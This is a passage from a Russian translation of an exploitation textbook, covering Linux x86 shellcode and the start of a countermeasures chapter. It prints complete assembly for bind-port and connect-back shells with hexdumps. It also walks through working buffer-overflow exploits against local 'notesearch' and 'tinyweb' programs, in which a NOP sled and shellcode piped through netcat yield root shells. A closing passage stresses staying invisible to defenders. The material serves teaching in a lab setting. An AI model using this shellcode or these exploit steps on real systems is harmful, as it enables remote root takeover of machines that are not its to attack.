Главная страница

Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


Скачать 2.5 Mb.
НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
АнкорХакинг
Дата16.06.2022
Размер2.5 Mb.
Формат файлаpdf
Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
ТипКнига
#595131
страница36 из 51
1   ...   32   33   34   35   36   37   38   39   ...   51

344
0x500 Шелл-код (код оболочки) сокет вывод и ошибки и читать из сокета полученные им данные. Есть специальный системный вызов для дублирования дескрипторов фай- ла, dup2 (номер 63).
reader@hacking:

/booksrc $ grep dup2 /usr/include/asm-i386/unistd.h
#define __NR_dup2 63
reader@hacking:/booksrc $ man 2 dup2
DUP(2) Руководство программиста Linux DUP(2)
ИМЯ
dup, dup2 – дублировать дескриптор файла
СИНТАКСИС
#include
int dup(int oldfd);
int dup2(int oldfd, int newfd);
ОПИСАНИЕ
dup() и dup2() создают копию дескриптора файла oldfd.
dup2() делает newfd копией oldfd, закрыв сначала newfd, если это нужно.
Шелл-код bind_port.s заканчивается тем, что оставляет в EAX де- скриптор файла подключенного сокета.
Ниже показаны добавленные в bind_shell_beta.s команды для копиро- вания этого сокета в дескрипторы файла стандартных устройств вво- да/вывода; после них выполняются команды tiny_shell, запускающие оболочку в текущем процессе. Дескрипторы файла для устройств вво- да и вывода запущенной оболочки и будут соединением TCP, открыва- ющим доступ к удаленной оболочке.
Новые команды в bind_shell1.s
; dup2(подключенный сокет, {все три дескриптора файла для стандартного ввода/вывода })
mov ebx, eax ; Копировать дескриптор файла сокета в ebx.
push BYTE 0x3F ; dup2 – системный вызов 63
pop eax xor ecx, ecx ; ecx = 0 = стандартный ввод int 0x80 ; dup(c, 0)
mov BYTE al, 0x3F ; dup2 – системный вызов 63
inc ecx ; ecx = 1 = стандартный вывод int 0x80 ; dup(c, 1)
mov BYTE al, 0x3F ; dup2 – системный вызов 63
inc ecx ; ecx = 2 = стандартное устройство вывода ошибок int 0x80 ; dup(c, 2)
; execve(const char *filename, char *const argv [], char *const envp[])
mov BYTE al, 11 ; execve – системный вызов 11
push edx ; Протолкнуть нули конца строки.

0x540 Шелл-код с привязкой к порту
345
push 0x68732f2f ; Протолкнуть в стек “//sh”.
push 0x6e69622f ; Протолкнуть в стек “/bin”.
mov ebx, esp ; Поместить адрес “/bin//sh” в ebx.
push ecx ; Протолкнуть в стек 32-разрядный нулевой указатель.
mov edx, esp ; Это пустой массив для envp.
push ebx ; Протолкнуть в стек адрес строки.
mov ecx, esp ; Это argv массив со строкой ptr.
int 0x80 ; execve(“/bin//sh”, [“/bin//sh”, NULL], [NULL])
После сборки и применения в эксплойте этот шелл-код выполнит при- вязку к порту 31337 и станет ждать входящих соединений. Ниже пока- зано, как с помощью grep проверяется наличие нулевых байтов. В ре- зультате процесс зависает в ожидании соединения.
reader@hacking:/booksrc $ nasm bind_shell_beta.s reader@hacking:/booksrc $ hexdump -C bind_shell_beta | grep --color=auto 00 00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|
00000010 89 c6 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a |..jfXCRfhzifS..j|
00000020 10 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd |.QV.....fCCSV...|
00000030 80 b0 66 43 52 52 56 89 e1 cd 80 89 c3 6a 3f 58 |..fCRRV......j?X|
00000040 31 c9 cd 80 b0 3f 41 cd 80 b0 3f 41 cd 80 b0 0b |1....?A...?A....|
00000050 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 e2 |Rh//shh/bin..R..|
00000060 53 89 e1 cd 80 |S....|
00000065
reader@hacking:/booksrc $ export SHELLCODE=$(cat bind_shell_beta)
reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./notesearch
SHELLCODE will be at 0xbffff97f reader@hacking:/booksrc $ ./notesearch $(perl -e ‘print “\x7f\xf9\xff\xbf”x40’)
[DEBUG] found a 33 byte note for user id 999
-------[ end of note data ]-------
В другом окне терминала с помощью netstat находим слушающий порт. Затем netcat подключает к оболочке root на этом порту.
reader@hacking:/booksrc $ sudo netstat -lp | grep 31337
tcp 0 0 *:31337 *:* LISTEN 25604/
notesearch reader@hacking:/booksrc $ nc -vv 127.0.0.1 31337
localhost [127.0.0.1] 31337 (?) open whoami root
0x542 Управляющие структуры условного перехода
Управляющие структуры языка C, такие как циклы for и блоки if- then-else
, на уровне машинного языка строятся из операторов условно- го перехода и циклов. С помощью управляющих структур многократ- ные вызовы dup2 можно заменить более коротким вызовом в цикле.
В первой программе на C в предыдущих главах цикл for применялся, чтобы десять раз поздороваться с окружающим миром. Дизассембли- рование функции main() покажет, как компилятор реализует цикл for

346
0x500 Шелл-код (код оболочки) с помощью команд ассемблера. Команды цикла (ниже выделены полу- жирным) следуют за командами пролога функции и работают с памя- тью стека, выделенной локальной переменной i. Обращение к этой пе- ременной происходит через регистр EBP в виде [ebp-4].
reader@hacking:/booksrc $ gcc firstprog.c reader@hacking:/booksrc $ gdb -q ./a.out
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
(gdb) disass main
Dump of assembler code for function main:
0x08048374 : push ebp
0x08048375 : mov ebp,esp
0x08048377 : sub esp,0x8 0x0804837a : and esp,0xfffffff0 0x0804837d : mov eax,0x0 0x08048382 : sub esp,eax
0x08048384 : mov DWORD PTR [ebp-4],0x0
0x0804838b : cmp DWORD PTR [ebp-4],0x9
0x0804838f : jle 0x8048393
0x08048391 : jmp 0x80483a6
0x08048393 : mov DWORD PTR [esp],0x8048484 0x0804839a : call 0x80482a0
0x0804839f : lea eax,[ebp-4]
0x080483a2 : inc DWORD PTR [eax]
0x080483a4 : jmp 0x804838b
0x080483a6 : leave
0x080483a7 : ret
End of assembler dump.
(gdb)
В цикле есть две новые для нас команды: cmp (от compare – сравнить) и jle (от jump if less than or equal to – перейти, если меньше или рав- но); последняя из них принадлежит к семейству условных переходов.
Команда cmp сравнивает свои два операнда и в зависимости от результа- та устанавливает флаги. После этого команда условного перехода осу- ществляет переход в зависимости от флагов.
В приведенном коде, когда значение по адресу [ebp-4] меньше или рав- но 9, выполнение переходит на адрес 0x8048393, минуя следующую команду jmp. В противном случае следующая команда jmp передает управление в конец функции по адресу 0x080483a6, что завершает цикл.
В теле цикла вызывается printf(), увеличивается переменная цикла по адресу [ebp-4] и выполняется переход назад к команде сравнения, что продолжает цикл.
Такие сложные управляющие структуры, как цикл, в ассемблере соз- даются с помощью команд условного перехода. Ниже показаны другие команды условного перехода.

0x540 Шелл-код с привязкой к порту
347
Команда
Назначение
cmp <приемник>, <источник>
Сравнив приемник с источником, уста- новить флаги, используемые командой условного перехода.
je <адрес>
Перейти к указанному адресу, если срав- ниваемые значения равны.
jne <адрес>
Перейти, если не равны.
jl <адрес>
Перейти, если меньше.
jle <адрес>
Перейти, если меньше или равно.
jnl <адрес>
Перейти, если не меньше.
jnle <адрес>
Перейти, если не меньше или равно.
jg
(jge)
Перейти, если больше (если больше или равно).
jng
(jnge)
Перейти, если не больше (не больше или равно).
С помощью этих команд можно сжать часть шелл-кода с вызовами dup2:
; dup2(подключенный сокет, {все три дескриптора стандартного ввода/вывода })
mov ebx, eax ; Копировать дескриптор файла сокета в ebx.
xor eax, eax ; Обнулить eax.
xor ecx, ecx ; ecx = 0 = стандартный ввод
dup_loop:
mov BYTE al, 0x3F ; dup2 syscall #63
int 0x80 ; dup2(c, 0)
inc ecx
cmp BYTE cl, 2 ; Сравнить ecx с 2.
jle dup_loop ; Если ecx <= 2, перейти к dup_loop.
Этот цикл последовательно изменяет значение ECX от 0 до 2, каждый раз выполняя вызов dup2. Если глубже разобраться в том, как команда cmp устанавливает флаги, цикл можно еще сократить. Флаги, устанав- ливаемые командой cmp, также устанавливаются большинством дру- гих команд, чтобы описать свойства результата их выполнения. Это флаги: переноса (CF), четности (PF), выравнивания (AF), переполне- ния (OF), нуля (ZF) и знака (SF). Последние два флага самые полезные и простые. Флаг нуля устанавливается, когда результат равен 0, в про- тивном случае сбрасывается. Флаг знака – это просто старший бит ре- зультата, который равен 1, если результат отрицательный, и 0 в про- тивном случае. Это означает, что после выполнения любой команды с отрицательным результатом флаг знака устанавливается в 1, а флаг нуля устанавливается в 0.

348
0x500 Шелл-код (код оболочки)
Флаг
Название
Назначение
ZF
Флаг нуля
Установлен, если результат ноль
SF
Флаг знака
Установлен, если результат отрицателен (ра- вен старшему биту результата)
Команда cmp (сравнение) в сущности представляет собой команду sub
(вычитание), которая отбрасывает результат, но изменяет флаги состо- яния. Команда jle (переход, если меньше или равно) фактически про- веряет флаги нуля и знака.
Если один из них установлен, то приемник (первый операнд) меньше или равен источнику (второму операнду). Другие команды условного перехода действуют аналогичным образом, и есть еще команды услов- ного перехода, которые прямо проверяют отдельные флаги:
Команда
Назначение
jz <адрес>
Перейти к указанному адресу, если флаг нуля установлен jnz <адрес>
Перейти к указанному адресу, если флаг нуля сброшен js <адрес>
Перейти, если флаг знака установлен jns <адрес>
Перейти, если флаг знака сброшен
Вооружившись этими знаниями, можно вообще избавиться от коман- ды cmp (сравнение), если обратить порядок цикла. Можно начать с 2 и спускаться вниз, проверяя флаг знака до 0. Укороченный цикл (из- менения выделены полужирным):
; dup2(подключенный сокет, {все три файловых дескриптора стандартного ввода/
вывода})
mov ebx, eax ; Копировать FD сокета в ebx.
xor eax, eax ; Обнулить eax.
push BYTE 0x2 ; ecx начинается с 2.
pop ecx
dup_loop:
mov BYTE al, 0x3F ; dup2 - системный вызов 63
int 0x80 ; dup2(c, 0)
dec ecx ; Обратный счет до 0.
jns dup_loop ; Если флаг знака сброшен, ecx не отрицательный.
Первые две команды перед циклом можно укоротить, воспользовав- шись командой xchg (от exchange – обмен). Она меняет между собой зна- чения приемника и источника:

0x540 Шелл-код с привязкой к порту
349
Команда
Назначение
xchg <приемник>, <источник>
Обменять значения двух операндов
Одна эта команда может заменить две следующие, занимающие четы- ре байта:
89 C3 mov ebx,eax
31 C0 xor eax,eax
Регистр EAX нужно обнулить, чтобы очистить старшие три байта, а в EBX они уже очищены. Поэтому, обменивая между собой значе- ния EAX и EBX, мы убьем двух зайцев и сократим размер, восполь- зовавшись следующей однобайтной командой:
93 xchg eax,ebx
Поскольку команда xchg короче, чем mov для двух регистров, она позво- лит укоротить шелл-код и в других местах. Понятно, что это возможно лишь в тех случаях, когда регистр источника не имеет значения. Сле- дующая версия шелл-кода с привязкой порта использует команду об- мена, чтобы сократить размер еще на несколько байт.
bind_shell.s
BITS 32
; s = socket(2, 1, 0)
push BYTE 0x66 ; Вызов сокетов - системный вызов 102 (0x66).
pop eax cdq ; Обнулить edx для использования как нулевого DWORD.
xor ebx, ebx ; ebx содержит тип вызова сокетов.
inc ebx ; 1 = SYS_SOCKET = socket()
push edx ; Построить массив: { protocol = 0,
push BYTE 0x1 ; (в обратном порядке) SOCK_STREAM = 1,
push BYTE 0x2 ; AF_INET = 2 }
mov ecx, esp ; ecx = указатель на массив аргументов int 0x80 ; После системного вызова в eax – дескриптор файла сокета.
xchg esi, eax ; Сохранить дескриптор файла сокета в esi
; bind(s, [2, 31337, 0], 16)
push BYTE 0x66 ; Вызов сокетов (системный вызов 102)
pop eax inc ebx ; ebx = 2 = SYS_BIND = bind()
push edx ; Построить структуру sockaddr: INADDR_ANY = 0
push WORD 0x697a ; (в обратном порядке) PORT = 31337
push WORD bx ; AF_INET = 2
mov ecx, esp ; ecx = указатель на структуру сервера push BYTE 16 ; argv: { sizeof(структура) = 16,
push ecx ; указатель на структуру,
push esi ; дескриптор файла сокета}
mov ecx, esp ; ecx = массив аргументов

350
0x500 Шелл-код (код оболочки) int 0x80 ; eax = 0 при успехе
; listen(s, 0)
mov BYTE al, 0x66 ; Вызов сокетов (системный вызов 102)
inc ebx inc ebx ; ebx = 4 = SYS_LISTEN = listen()
push ebx ; argv: { backlog = 4,
push esi ; дескриптор файла сокета}
mov ecx, esp ; ecx = массив аргументов int 0x80
; c = accept(s, 0, 0)
mov BYTE al, 0x66 ; Вызов сокетов (syscall #102)
inc ebx ; ebx = 5 = SYS_ACCEPT = accept()
push edx ; argv: { socklen = 0,
push edx ; sockaddr ptr = NULL,
push esi ; socket fd }
mov ecx, esp ; ecx = массив аргументов int 0x80 ; eax = FD сокета соединения
; dup2(подключенный сокет,
{все три файловых дескриптора стандартного ввода/вывода})
xchg eax, ebx ; Копировать дескриптор файла сокета в ebx
; и 0x00000005 в eax.
push BYTE 0x2 ; ecx начинается с 2.
pop ecx dup_loop:
mov BYTE al, 0x3F ; dup2 – системный вызов 63
int 0x80 ; dup2(c, 0)
dec ecx ; Обратный счет до 0
jns dup_loop ; Если флаг знака не установлен, ecx не отрицательный.
; execve(const char *filename, char *const argv [], char *const envp[])
mov BYTE al, 11 ; execve – системный вызов 11
push edx ; Протолкнуть нули конца строки.
push 0x68732f2f ; Протолкнуть в стек “//sh”.
push 0x6e69622f ; Протолкнуть в стек “/bin”.
mov ebx, esp ; Поместить адрес “/bin//sh” в ebx.
push edx ; Протолкнуть в стек 32-разрядный нулевой указатель.
mov edx, esp ; Это пустой массив для envp.
push ebx ; Протолкнуть в стек адрес строки.
mov ecx, esp ; Это массив argv с указателем строки.
int 0x80 ; execve(“/bin//sh”, [“/bin//sh”, NULL], [NULL])
Так будет собран тот же 92-байтный шелл-код bind_shell, что и в преды- дущей главе.
reader@hacking:/booksrc $ nasm bind_shell.s reader@hacking:/booksrc $ hexdump -C bind_shell
00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|
00000010 96 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a 10 |.jfXCRfhzifS..j.|
00000020 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd 80 |QV.....fCCSV....|

0x550 Шелл-код с обратным соединением
351
00000030 b0 66 43 52 52 56 89 e1 cd 80 93 6a 02 59 b0 3f |.fCRRV.....j.Y.?|
00000040 cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 |..Iy...Rh//shh/b|
00000050 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |in..R..S....|
0000005c reader@hacking:/booksrc $ diff bind_shell portbinding_shellcode
0x550 Шелл-код с обратным соединением
С шелл-кодом, привязываемым к порту, легко справится межсетевой экран (firewall – брандмауэр). Большинство брандмауэров блокиру- ют входящие соединения, за исключением определенных портов для известных сервисов. Это снижает уязвимость пользователя и меша- ет шелл-коду установить соединение. Межсетевые экраны сегодня на- столько распространены, что у шелл-кода с привязкой порта в реаль- ности мало шансов на успех.
Но межсетевые экраны обычно не фильтруют исходящие соединения, потому что это снизило бы удобство работы пользователя. Находясь за межсетевым экраном, пользователь должен иметь возможность от- крыть любую веб-страницу или установить другое исходящее соедине- ние. Отсюда следует, что если шелл-код инициирует исходящее соеди- нение, большинство брандмауэров его пропустит.
Шелл-код с обратным соединением (connect-back) не ждет соединения от злоумышленника, а сам инициирует соединение TCP с IP-адресом атакующего. Чтобы открыть соединение TCP, достаточно вызвать sock- et()
и connect(). Такой код очень похож на шелл-код привязки к порту, потому что вызов socket() выполняется одинаково, а вызов connect() принимает те же аргументы, что и bind(). Приведенный ниже шелл- код с обратным соединением получен из шелл-кода привязки к порту путем некоторых изменений (выделены полужирным).
connectback_shell.s
BITS 32
; s = socket(2, 1, 0)
push BYTE 0x66 ; Вызов сокетов - системный вызов 102 (0x66).
pop eax cdq ; Обнулить edx для использования как нулевого DWORD.
xor ebx, ebx ; ebx содержит тип вызова сокетов.
inc ebx ; 1 = SYS_SOCKET = socket()
push edx ; Построить массив: { protocol = 0,
push BYTE 0x1 ; (в обратном порядке) SOCK_STREAM = 1,
push BYTE 0x2 ; AF_INET = 2 }
mov ecx, esp ; ecx = указатель на массив аргументов int 0x80 ; После системного вызова в eax – дескриптор файла сокета.
xchg esi, eax ; Сохранить дескриптор файла сокета в esi
; connect(s, [2, 31337, ], 16)

352
0x500 Шелл-код (код оболочки) push BYTE 0x66 ; Вызов сокетов (системный вызов 102)
pop eax inc ebx ; ebx = 2 (необходимо для AF_INET)
push DWORD 0x482aa8c0 ; Построить структуру sockaddr :
;
IP-адрес = 192.168.42.72
push WORD 0x697a ; (в обратном порядке) PORT = 31337
push WORD bx ; AF_INET = 2
mov ecx, esp ; cx = указатель на структуру сервера push BYTE 16 ; argv: { sizeof(структура) = 16,
push ecx ; указатель на структуру,
push esi ; дескриптор файла сокета }
mov ecx, esp ; ecx = массив аргументов
inc ebx ; ebx = 3 = SYS_CONNECT = connect()
int 0x80 ; eax = 0 при успехе
; dup2(подключенный сокет,
{все три файловых дескриптора стандартного ввода/вывода})
xchg eax, ebx ; Копировать дескриптор файла сокета в ebx
; и 0x00000003 в eax.
push BYTE 0x2 ; ecx начинается с 2.
pop ecx dup_loop:
mov BYTE al, 0x3F ; dup2 – системный вызов 63
int 0x80 ; dup2(c, 0)
dec ecx ; Обратный счет до 0
jns dup_loop ; Если флаг знака не установлен, ecx не отрицательный.
; execve(const char *filename, char *const argv [], char *const envp[])
mov BYTE al, 11 ; execve – системный вызов 11
push edx ; Протолкнуть нули конца строки.
push 0x68732f2f ; Протолкнуть в стек “//sh”.
push 0x6e69622f ; Протолкнуть в стек “/bin”.
mov ebx, esp ; Поместить адрес “/bin//sh” в ebx.
push edx ; Протолкнуть в стек 32-разрядный нулевой указатель.
mov edx, esp ; Это пустой массив для envp.
push ebx ; Протолкнуть в стек адрес строки.
mov ecx, esp ; Это массив argv с указателем строки.
int 0x80 ; execve(“/bin//sh”, [“/bin//sh”, NULL], [NULL])
В этом шелл-коде указан адрес IP-соединения 192.168.42.72, что должно быть IP-адресом атакующего. Адрес записывается в структуру in_addr как 0x482aa8c0, что является шестнадцатеричным представле- нием 72, 42, 168 и 192. Это становится очевидным, если вывести каж- дое число в шестнадцатеричном виде:
reader@hacking:/booksrc $ gdb -q
(gdb) p /x 192
$1 = 0xc0
(gdb) p /x 168
$2 = 0xa8
(gdb) p /x 42

0x550 Шелл-код с обратным соединением
353
$3 = 0x2a
(gdb) p /x 72
$4 = 0x48
(gdb) p /x 31337
$5 = 0x7a69
(gdb)
Так как значения записываются с сетевым порядком байтов, а в ар- хитектуре x86 пишется сначала младший байт, хранимые DWORD вы- глядят перевернутыми. В результате DWORD для 192.168.42.72 выгля- дит как 0x482aa8c0. То же самое относится к двухбайтному слову порта получателя. Если с помощью gdb вывести в шестнадцатеричном виде номер порта 31337, байты будут показаны в порядке «сначала млад- ший». Следовательно, байты нужно переставить, и WORD для 31337 ока- жется равным 0x697a.
Слушать входящие соединения шелл-кода на порте 31337 можно про- граммой netcat с ключом -l. Команда ifconfig устанавливает для eth0
IP-адрес 192.168.42.72, чтобы шелл-код мог с ним соединиться.
reader@hacking:/booksrc $ sudo ifconfig eth0 192.168.42.72 up reader@hacking:/booksrc $ ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:01:6C:EB:1D:50
inet addr:192.168.42.72 Bcast:192.168.42.255 Mask:255.255.255.0
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:16
reader@hacking:/booksrc $ nc -v -l -p 31337
listening on [any] 31337 ...
Теперь попробуем выполнить эксплойт для сервера tinyweb с помощью шелл-кода с обратным соединением. Прежние результаты нашей ра- боты с этой программой говорят о том, что буфер запроса имеет размер
500 байт и находится в стеке по адресу 0xbffff5c0. Известно также, что адрес возврата расположен через 40 байт после конца буфера.
reader@hacking:/booksrc $ nasm connectback_shell.s reader@hacking:/booksrc $ hexdump -C connectback_shell
00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|
00000010 96 6a 66 58 43 68 c0 a8 2a 48 66 68 7a 69 66 53 |.jfXCh..*HfhzifS|
00000020 89 e1 6a 10 51 56 89 e1 43 cd 80 87 f3 87 ce 49 |..j.QV..C......I|
00000030 b0 3f cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 |.?..Iy...Rh//shh|
00000040 2f 62 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |/bin..R..S....|
0000004e reader@hacking:/booksrc $ wc -c connectback_shell
78 connectback_shell reader@hacking:/booksrc $ echo $(( 544 - (4*16) - 78 ))
402

354
0x500 Шелл-код (код оболочки) reader@hacking:/booksrc $ gdb -q --batch -ex “p /x 0xbffff5c0 + 200”
$1 = 0xbffff688
reader@hacking:/booksrc $
Так как смещение от начала буфера до адреса возврата составля- ет 540 байт, нам нужно 544 байта, чтобы заменить четырехбайтный адрес возврата. Также нужно правильно выровнять адрес возврата, по- тому что он состоит из нескольких байт. Для правильного выравни- вания суммарная длина NOP-цепочки и шелл-кода должна делиться на 4. Кроме того, сам шелл-код должен находиться в первых 500 бай- тах. Это память, принадлежащая буферу, и те значения в стеке, кото- рые находятся за ним, могут быть переписаны до того, как мы пере- хватим управление программой. Оставаясь в этих границах, мы умень- шаем риск записи в шелл-код случайных значений, которые неизбеж- но приведут к краху его работы. Повторив адреса возврата 16 раз, по- лучим 64 байта, которые можно поместить в конец 544-байтного буфе- ра эксплойта, чтобы гарантировать нахождение шелл-кода в пределах буфера. Остальнные байты в начале буфера эксплойта будут заполнены командой NOP. Подсчеты показывают, что NOP-цепочка длиной 402 бай- та правильно выровняет шелл-код длиной 78 байт и поместит его в гра- ницах буфера. Повторив нужный нам адрес возврата 12 раз, мы обеспе- чим запись последних четырех байт буфера эксплойта на место адреса возврата в стеке. Если записать в адрес возврата 0xbffff688, управление должно перейти в середину NOP-цепочки, а не в начальные байты бу- фера, которые могут оказаться измененными. Эти вычисленные значе- ния мы используем в следующем эксплойте, но сначала нужно обеспе- чить шелл-коду место, с которым он будет соединяться. Ниже показано использование netcat для приема входящих соединений на порте 31337.
reader@hacking:/booksrc $ nc -v -l -p 31337
listening on [any] 31337 ...
Теперь можно использовать вычисленные значения для удаленного эксплойта программы tinyweb с другого терминала.
На другом терминале
reader@hacking:/booksrc $ (perl -e ‘print “\x90”x402’;
> cat connectback_shell;
> perl -e ‘print “\x88\xf6\xff\xbf”x20 . “\r\n”’) | nc -v 127.0.0.1 80
localhost [127.0.0.1] 80 (www) open
Возвращаясь к первому терминалу, видим, что шелл-код соединился с процессом netcat, который слушает порт 31337. Мы получили уда- ленную оболочку root.
reader@hacking:/booksrc $ nc -v -l -p 31337
listening on [any] 31337 ...
connect to [192.168.42.72] from hacking.local [192.168.42.72] 34391
whoami root

0x550 Шелл-код с обратным соединением
355
Конфигурация сети в этом примере может смутить, потому что ата- ка нацелена на 127.0.0.1, а шелл-код выполняет обратное соедине- ние с 192.168.42.72. Оба IP-адреса указывают на одну и ту же маши- ну, но 192.168.42.72 проще использовать в шелл-коде, чем 127.0.0.1.
Поскольку адрес закольцованного интерфейса содержит два нулевых байта, его пришлось бы строить в стеке с помощью нескольких ко- манд. Один из способов для этого – записать в стек два байта обнулен- ного регистра. Файл loopback_shell.s – это модифицированная версия
connectback_shell.s, в которой используется адрес 127.0.0.1. Разница в следующем:
reader@hacking:/booksrc $ diff connectback_shell.s loopback_shell.s
21c21,22
< push DWORD 0x482aa8c0 ; Build sockaddr struct: IP Address =
192.168.42.72
---
> push DWORD 0x01BBBB7f ; Build sockaddr struct: IP Address = 127.0.0.1
> mov WORD [esp+1], dx ; overwrite the BBBB with 0000 in the previous push reader@hacking:/booksrc $
После проталкивания в стек значения 0x01BBBB7f регистр ESP указы- вает на начало этого DWORD. При записи двухбайтного WORD из нулей по адресу ESP+1 средние два байта будут перезаписаны, и мы получим правильный адрес возврата.
Эта дополнительная команда увеличивает размер шелл-кода на не- сколько байтов, вследствие чего нужно скорректировать размер NOP- цепочки. Ниже приведены расчеты, показывающие, что NOP-цепочка должна иметь длину 397 байт. В этом эксплойте предполагается, что уже работает программа tinyweb и процесс netcat ждет входящих сое- динений на порте 31337.
reader@hacking:/booksrc $ nasm loopback_shell.s reader@hacking:/booksrc $ hexdump -C loopback_shell | grep --color=auto 00 00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|
00000010 96 6a 66 58 43 68 7f bb bb 01 66 89 54 24 01 66 |.jfXCh....f.T$.f|
00000020 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 43 cd 80 |hzifS..j.QV..C..|
00000030 87 f3 87 ce 49 b0 3f cd 80 49 79 f9 b0 0b 52 68 |....I.?..Iy...Rh|
00000040 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 e2 53 89 |//shh/bin..R..S.|
00000050 e1 cd 80 |...|
00000053
reader@hacking:/booksrc $ wc -c loopback_shell
83 loopback_shell reader@hacking:/booksrc $ echo $(( 544 - (4*16) - 83 ))
397
reader@hacking:/booksrc $ (perl -e ‘print “\x90”x397’;cat loopback_
shell;perl -e ‘print “\x88\xf6\xff\xbf”x16 . “\r\n”’) | nc -v 127.0.0.1 80
localhost [127.0.0.1] 80 (www) open

356
0x500 Шелл-код (код оболочки)
Как и в предыдущем эксплойте, терминал с netcat, ждущей соедине- ний на порте 31337, получает оболочку root:
reader@hacking: $ nc -vlp 31337
listening on [any] 31337 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 42406
whoami root
Выглядит совсем просто, правда?

0x600
Противодействие
Ядовитая золотистая лягушка­древолаз выделяет крайне токсичный яд:
одной лягушки достаточно, чтобы убить десять взрослых человек. Причи­
на, по которой эти лягушки выработали столь мощное средство защиты,
заключается в том, что есть определенный вид змей, который ими пита­
ется и при этом вырабатывает иммунитет от яда. В ответ яд, выраба­
тываемый лягушками, становился все сильнее и сильнее. В результате та­
кой совместной эволюции лягушки оказались защищенными от всех других
хищников. Подобная совместная эволюция происходит и с хакерами. При­
думанные ими эксплойты известны давно, поэтому неудивительно, что
были выработаны меры противодействия. В ответ хакеры находят спо­
собы обойти и разрушить эти средства защиты, и тогда изобретаются
другие оборонительные приемы.
Такое циклическое развитие оказывается благотворным. Вирусы и чер- ви вызывают многочисленные неприятности и убытки, но они побужда- ют к разработке ответных мер, которые улучшают наши системы. Черви размножаются, используя уязвимости некачественных программ. Часто содержащиеся в программах ошибки годами остаются незамеченными, но относительно безвредный червь, вроде CodeRed или Sasser, заставляет исправить эти ошибки. Это как с ветрянкой: лучше легко переболеть ею в детстве, чем опасно во взрослом возрасте. Если бы не интернет-черви, обнажившие пробелы в защите, последние оставались бы неисправлен- ными, подвергая нас опасности атаки со стороны тех, чьи цели более злонамеренны, чем простая репликация червя. В конечном счете чер- ви и вирусы могут способствовать укреплению системы защиты. Но есть и более активные способы ее совершенствования. Защита может прини- мать контрмеры, чтобы свести к нулю результаты атаки или сделать ее невозможной. Контрмеры – понятие достаточно абстрактное; это может быть защищенный продукт, набор правил, программа или просто вни-

358
0x600 Противодействие мательный системный администратор. Такие меры можно разделить на две группы: обнаружение атак и защита уязвимости.
0x610 Средства обнаружения атак
К первой группе относятся контрмеры, которые пытаются обнаружить вторжение и каким-то образом реагировать на него. Процедуры обна- ружения разнообразны – от чтения журналов администратором до про- грамм, анализирующих сетевой трафик. Реакция тоже может быть разной – от автоматического закрытия процесса или соединения до тщательного анализа, проводимого администратором с консоли.
Известные эксплойты не так опасны для системного администратора, как те, о которых он еще не знает. Чем раньше будет обнаружено втор- жение, тем скорее можно с ним разобраться и принять ответные меры.
Тревогу должны вызывать вторжения, которые не удается обнаружить месяцами.
Чтобы обнаружить вторжение, нужно представлять, какие действия мо- жет совершить атакующий. В этом случае вы знаете, что искать. Для об- наружения вторжения нужно искать определенные особенности в жур- налах, сетевых пакетах и даже в памяти программ. Обнаружив вторже- ние, можно удалить хакера из системы, восстановить испорченные дан- ные из резервной копии, а использованную уязвимость идентифициро- вать и исправить. Средства обнаружения, использующие возможности резервного копирования и восстановления, достаточно сильны.
Для атакующего обнаружение может означать, что всем его действиям будет поставлен заслон. Обнаружение может произойти не мгновенно, и в ряде ситуаций типа «схватил и убежал» оно несущественно, но даже тогда лучше не оставлять за собой следов. Скрытность очень ценна для хакера. Выполнив эксплойт уязвимой программы с привилегиями root, вы можете делать с системой что угодно, но если вас при этом не обнару- жили, то никто об этом не узнает. Самый опасный хакер – тот, кто полу- чает абсолютные права, оставаясь при этом невидимым. Оставаясь не- видимым, можно незаметно перехватывать в сети пароли и данные, не- санкционированно влезать в программы и атаковать другие узлы сети.
Чтобы оставаться незамеченным, нужно знать, какие методы обнару- жения могут быть применены. Если вы знаете, за чем охотится защита, то можете избегать определенных схем эксплойтов или маскироваться под законные действия. Совместная эволюция методов скрытия и поис- ка основана на том, чтобы придумывать вещи, о которых еще не дога- далась другая сторона.
0x620 Системные демоны
Чтобы на деле рассмотреть меры борьбы с эксплойтами и способы их об- хода, выберем для поиска уязвимости практическую цель. Удаленной

0x620 Системные демоны
359
целью будет серверная программа, которая принимает входящие соеди- нения. В UNIX такими программами обычно являются системные демо- ны. Демон – это программа, выполняемая в фоновом режиме и опреде- ленным образом отделенная от управляющего терминала. Термин был придуман хакерами из MIT в 1960-х. Он происходит от демона, сортиру- ющего молекулы в мысленном эксперименте Джеймса Максвелла, кото- рый провел его в 1867 году. В этом эксперименте демон Максвелла обла- дал сверхъестественной способностью легко выполнять сложные задачи, нарушая при этом второе начало термодинамики. Аналогично в Linux системные демоны неутомимо выполняют такие задачи, как предостав- ление сервиса SSH и ведение системных журналов. Имена программ- демонов обычно оканчиваются на d, например sshd или syslogd.
